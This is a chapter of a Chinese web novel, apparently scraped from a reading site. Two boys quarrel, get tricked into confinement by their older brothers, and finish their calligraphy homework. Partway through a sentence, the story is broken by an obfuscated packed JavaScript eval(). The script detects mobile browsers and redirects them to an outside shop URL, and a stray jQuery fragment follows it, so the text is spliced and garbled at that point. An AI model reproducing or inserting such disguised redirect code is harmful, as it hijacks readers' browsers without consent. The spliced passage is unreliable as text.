默认冷灰
24号文字
方正启体

10. 定江山

作者:岩城太瘦生本书字数:K更新时间:
    10


    经历了一场极其激烈的战斗——


    钟宝珠和魏骁躺在地上,气喘吁吁。


    两个人的头发散了,衣裳也乱了,额头更是红了一片。


    倒不是他们磕到了哪里,而是他们不知道从哪里来的灵感,竟然像小牛一样,用头去顶撞对方。


    这才把额头弄得红通通的。


    总而言之,这场战斗,两败俱伤,无人获胜。


    “诶!”魏骁缓了口气,抬起脚,碰了一下钟宝珠的腿。


    “干嘛?”


    钟宝珠一激灵,马上就要摆出战斗姿态,再次准备迎战。


    可他实在是没力气了,在地上扑腾半天,最后也只是蹬了两下脚。


    魏骁避开他,问:“说真的,你来找我干什么?”


    钟宝珠还憋着气:“来找你打架!顺便把你的口粮吃光!”


    “说真的!”魏骁无奈,“我懒得跟你拌嘴,和小孩子一样,又幼稚又无聊。”


    “不知道刚刚是哪个小孩子,扑上来就和我打架!我来是因为……”


    钟宝珠嘀咕着抱怨了一句,正准备把写字的事情告诉魏骁。


    忽然,他像是想到什么,眼珠一转,嘴角一翘,又改了口。


    “是因为,我已经把功课全部写完了,特意来找你显摆一下。”


    “真的?”


    魏骁一听这话,非但不生气,反倒还有点儿……


    高兴?


    他“腾”地一下翻身坐起,眼睛里迸出光彩,定定地看着钟宝珠。


    怕自己没听清楚,他还特意多问了一遍:“你把所有功课都写完了?”


    “那当然了。”钟宝珠浑然不觉,两手一摊,就开始编瞎话。


    “我把功课全写完了,料想你还没写完,就特意过来看看你这个手下败将。果不其然,看到你抓耳挠腮的傻蛋样子。”


    “照这个势头下去,我很快就要去参加科考,并且高中状元了。到那时候,你就站在路边,看着我游街吧。”


    “实不相瞒,其实家里给我算过命,说我是文曲星转世。区区功课,对我来说,简直是易如反掌……”


    钟宝珠光顾着显摆,把自己梦里的情形都讲了出来,却完全没注意到,魏骁看着他的目光,越来越亮。


    越来越灼热,越来越着迷。


    “钟宝珠,你真是令人刮目相看。”


    “那当然了,我可不是小傻蛋……”


    下一刻,魏骁霍然起身:“那你把功课借我抄!”


    “啊?”钟宝珠愣了一下,不敢置信地看着他,“啊!”


    他嘚啵嘚啵说了这么多,魏骁想到的就是这个?!


    “说定了,借我抄!”


    魏骁一面说,一面朝墙角的书袋走去。


    钟宝珠过来写功课,肯定是带了书袋的。


    只是他一进门,就把东西丢到一边。


    方才他们打架,不知道谁蹬了一脚,又把书袋踹到墙角。


    钟宝珠见状不妙,一个翻身,扑到魏骁脚边,抱住他的双腿。


    他哪里写了功课?方才那些话,全都是骗魏骁的!


    魏骁一个劲地往书袋那边走,钟宝珠一个劲地阻止。


    “魏骁,不可以!会被夫子发现的!”


    “没关系。我不全抄,我改几个。”


    “那也不行!我……我是乱写的!”


    “也没关系。我不介意。”


    “哎呀……我不借……”


    “不借也得借,是你自己送上门来的。”


    两只小狗,你拽着我,我扒拉着你。


    最后还是魏骁的力气更大一些,拖着钟宝珠,来到墙角。


    他捡起书袋,喜气洋洋道:“谢了。千里送功课,礼重情也重,我再请你吃……”


    下一刻,魏骁从书袋里拿出一卷裁好的宣纸,纸上干干净净,一个墨点也没有。


    钟宝珠缓缓松开抱住他的手,抬起头,朝他露出一个尴尬而不失礼貌的笑容。


    “对不起啊,我骗你的。”


    “钟、宝、珠!”


    魏骁胡乱把白纸塞回书袋,钟宝珠扭头就跑。


    两个人眼看着又要掐起来,门外忽然传来熟悉的声音。


    “里面那两个,情况怎么样了?”


    “回太子殿下,一直在玩笑打闹!”


    “什么?!”


    怎么是他?他怎么过来了?


    钟宝珠和魏骁对视一眼,也顾不上打架了,互相推搡着,快步跑回书案边。


    “快快快,你哥来了!”


    “我哥一来,你哥肯定也来了。”


    两个人在书案前坐下。


    魏骁拿出纸张,在两个人面前铺好,拿镇纸压住。


    钟宝珠拿起两支毛笔,在砚台里戳了戳,分给魏骁一支。


    “至少我哥不会打我。你哥会不会让外面的军士打我们军棍啊?”


    “想什么呢?我们俩只是闹了一会儿,罪不至死。”


    钟宝珠点点头:“也是。那……”


    门外人影一晃,魏骁瞧见,赶忙碰了碰钟宝珠的手肘。


    “别说话了,快写。”


    “噢。”


    两个人齐刷刷低下头,装模作样地认真写字。


    钟宝珠抖着手,写了两个字,又忍不住抬头去看。


    他用气声唤道:“魏骁、魏骁……”


    魏骁头也不抬:“干什么?你叫魂呢?”


    “我有点想笑。”


    “忍住。”


    “还有点想如厕。”


    “憋住。”


    魏骁伸出手,借着桌案遮掩,掐了一下钟宝珠腰上的软肉。


    钟宝珠一激灵,整个人软了下去,倒在案上,自然就不笑了。


    两个人等了一会儿,也不见外面的人推门进来。


    只听见他们和守门的军士交谈,只是声音太轻,钟宝珠听不太清。


    魏骁看看门外,再看看钟宝珠,似乎是明白了什么,忽然笑了一声。


    钟宝珠连忙掐他:“你又笑什么?”


    “没什么。”魏骁道,“他们走了。”


    “奇怪,他们竟然不进来看看我们。”


    “他们看见我们就恼火,自然不会进来。”


    “也是。”


    虽然两个哥哥没有进来巡视,但是……


    既然他们都坐到了书案前,那还是写点功课吧。


    总不能一直打闹。


    直到这时,钟宝珠才终于把自己弄丢摹本的事情,跟魏骁说了。


    “我就知道,我早该猜到的,还被你糊弄这么久。”


    魏骁转过身,打开书箱,从里面取出一个木匣子。


    里面就是收得整整齐齐的《黄庭经》真迹。


    古人书法就在眼前,古雅质朴,气韵非凡。


    两个人再不敢胡闹,连呼吸都放轻了。


    他们用帕子擦了手,恭恭敬敬地把素绢请出来,摆在正中,有模有样地临摹起来。


    门外的军士回头看了一眼,颇为诧异。


    这会儿怎的这么安静?不会是跳窗跑了吧?


    《黄庭经》太长,所幸苏学士只让他们摹写两段。


    一个时辰后,钟宝珠搁下笔,举起双手,伸了个懒腰。


    “写完了!”


    魏骁比他稍慢一些,但也只差最后两列了。


    见钟宝珠写完了,他也不急,握着笔,慢悠悠地往下写。


    钟宝珠拿起写好的纸张,轻轻吹干墨迹。


    他一边收拾东西,一边说:“魏骁,今日多谢你啦。”


    “不用客气,是我哥借出来的。”


    “既然字临完了,那我就先回去了。”


    “好。”


    魏骁头也不抬,似乎是在忍笑。


    钟宝珠也没发现,径自站起身来。


    就在这时,魏骁提着笔,淡淡地补了一句:“你要是出得去的话。”


    “什么?”钟宝珠听不懂,皱起小脸,提起书袋,走到门后,拉开房门。


    下一刻,晴天霹雳,应声而落!


    守门的军士手臂一伸,长枪一倒,横在他面前,直接把他挡在门里。


    “对不住了,钟小公子,您不能出去。”


    “为什么?”钟宝珠疑惑,心里隐隐有点不安。


    “太子殿下方才来过,吩咐我们,只有等你们写完……”


    “我知道,魏骁要写完功课才能出去。可我不是魏骁啊!”


    “我们也知道,你是钟小公子。但是方才,钟大公子也是这样吩咐的。”


    “什么?!”钟宝珠大惊失色。


    糟糕!他中计了!


    他一脑袋扎进他哥精心设计的陷阱里了!


    “我不管!我就要出去……”


    钟宝珠摩拳擦掌,往前猛冲,试图冲破包围。


    但是下一刻,他就被两个军士抓住胳膊,提了起来。


    跟抓小鸡仔没什么两样。


    钟宝珠悬在半空,使劲蹬脚:“放开我!救命啊!”


    两个军士一左一右,稳如泰山,一言不发。


    他们把钟宝珠送回书案前,放在魏骁身边。


    正巧这时,魏骁把最后两列字摹完。


    他放下笔,看了一眼气得直拍桌子的钟宝珠。


    钟宝珠凑上前,揪住他的衣领,愤愤地盯着他:“你早就猜到了!”


    魏骁学他方才的模样,吹了吹没干的墨迹:“对啊。”


    “那你怎么不提醒我?不然我还有机会跑的!这下好了,我们两个都被关起来了!”


    “是关在一起。我一个人待着没意思,你能留下来陪我,我为什么要提醒你?”


    魏骁面不改色,振振有词。


    “哎呀!”钟宝珠气得不行,头顶在冒火,“魏骁,你混蛋!”


    魏骁笑着,从怀里掏出一颗橘子,丢给他:“现在能吃了。”


    *


    ——钟寻巧设连环计,宝珠误入太子府。


    ——太子巧设连环计,宝珠误上断头台。


    ——魏骁巧设连环计,宝珠误食大肉干。


    ——还有大柿饼,还有大柑橘。


    钟宝珠一边吃橘子,一边在心里作诗。


    所有人都在巧设连环计,只有他在上当受骗!


    可恶!


    他恶狠狠地掰下一瓣橘子,塞进嘴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904557|192367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里,用力嚼碎。


    魏骁坐在旁边,看着他气鼓鼓的模样,一个劲地笑。


    钟宝珠懒得理他,抱着橘子,扭过身去,不给他吃。


    就这样过了一会儿,到了正午。


    军士在外面叩门。


    “七殿下、钟小公子,午饭来了。”


    钟宝珠“哼”了一下,把头扭开。


    魏骁最后笑了一声,认命起身。


    军士不会把午饭送进来,要他们自己过去拿。


    真跟坐牢一样,比坐牢还麻烦。


    魏骁打开房门,接过食盒,道了声谢,正要把门关上。


    就在这时,钟宝珠回过头,大声说:“告诉我哥,我不吃了!我要绝食!”


    军士道:“大公子早有预料,只让我等准备了一人份的饭食。小公子不吃正好。”


    “什么?”钟宝珠更不高兴了,大声宣布,“那我就要吃!我要把饭菜全部吃掉,一口都不给魏骁留!”


    “也好。七殿下和小公子想怎么吃,就怎么吃。”


    说完这话,军士就把房门关上了。


    钟宝珠只觉得头上痒痒的,抬手挠了挠。


    不对!他好像又中计了!


    魏骁回到书案边,打开食盒。


    食盒只有两层,里面是两碗羊汤、五块胡饼。


    不算多,但也不算少,足够两个人吃了。


    魏骁拿起一块胡饼,掰成两半,递给钟宝珠。


    钟宝珠看了看,指着他:“我要你手里那块。”


    “随你。”


    魏骁把饼换给他,又端出羊汤,端端正正地摆在他面前。


    他刚戏弄过钟宝珠一回,难得的脾气好,钟宝珠说什么就是什么。


    忙活一上午,两个人虽然吃了不少零食,但还是更想吃热腾腾的饭菜。


    胡饼蘸着羊汤,唏哩呼噜送下去。


    不到一炷香的功夫,就全吃完了。


    魏骁自觉把碗盘收好,送到外面去。


    钟宝珠背对着门口,努力装出一副“他什么也没吃”的样子来。


    军士探头看了一眼,果然也问了一句:“七殿下,钟小公子他……”


    他话还没完,魏骁也还没来得及回答,钟宝珠就忍不住往上弹了一下。


    “嗝——”


    “小的明白了。”军士忍笑退下。


    钟宝珠大声解释:“我没吃!这是饿嗝!”


    “这是饿嗝——”


    *


    吃完午饭,两个人在床上歇了一会儿,就爬起来继续写功课。


    钟宝珠吃软不吃硬,他本来是打算反抗到底,坚决不写的。


    但是魏骁说,要是不写,别说晚上,就是明天后天,他也不一定能回家。


    钟宝珠转念一想,确实也有道理。


    他哥是真的会把他关在这里,关上好几天的!


    那还是写吧。


    于是两个人又回到书案前,拿起了笔。


    “魏骁,你的手肘过去点,撞到我了!”


    “我天生臂长,是将星下凡。你不知道?”


    钟宝珠不想理他,抱着功课,坐到魏骁对面去。


    结果——


    “魏骁,你的腿收一下,踢到我了。”


    “我天生腿长,是……”


    话还没完,钟宝珠就蹬了他一脚。


    “我还是文曲星下凡呢。快点,我都快写完了。”


    “我也快了,还差两行。”


    虽然吵吵闹闹的,但因为两个人之间,总是相互攀比。


    所以他们在一块写功课,反倒还更快一些。


    从正午写到日落,从日落写到入夜。


    期间吃了顿晚饭,吃的是羊肉烩面。


    天色渐晚,烛光摇曳。


    钟宝珠左手撑着头,右手握着笔,全凭本能在写。


    不只是脑袋,他整个身子都是歪的。


    要不是有手撑住,早就倒在地上了。


    “手好酸、腿好酸,眼睛也花了,字好像飞出来了。魏骁,我……”


    魏骁头也不抬,接话道:“以后一定要提前分配,每日写几张。”


    “不是。”钟宝珠有气无力道,“万一我以后晕字,那我就看不了话本了。”


    “那我们去西市玩。据说那边有什么说话人,能把话本上的东西说给你听。”


    “好啊……”


    话音未落,钟宝珠把笔一丢,就倒了下去。


    “去玩之前,我先躺躺。”


    刚入夜的时候,案前铺了毯子,房里烧起炭盆。


    钟宝珠还加穿了一件厚袄子。


    所以不冷。


    他倒在地上,眼睛一闭,就睡了过去。


    魏骁把最后两行抄完,也觉得眼前晃得厉害。


    于是他用手支着头,闭上眼睛,也准备歇一会儿。


    两个人一坐一躺,谁都没有说话。


    房里难得这样安静,只有烛花炸开的声音。


    混混沌沌之间,迷迷蒙蒙之中。


    似乎有所谓的说话人,一拍手里的惊堂木。


    “各位观众,我们今天要讲的是——”


    “《定江山》!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)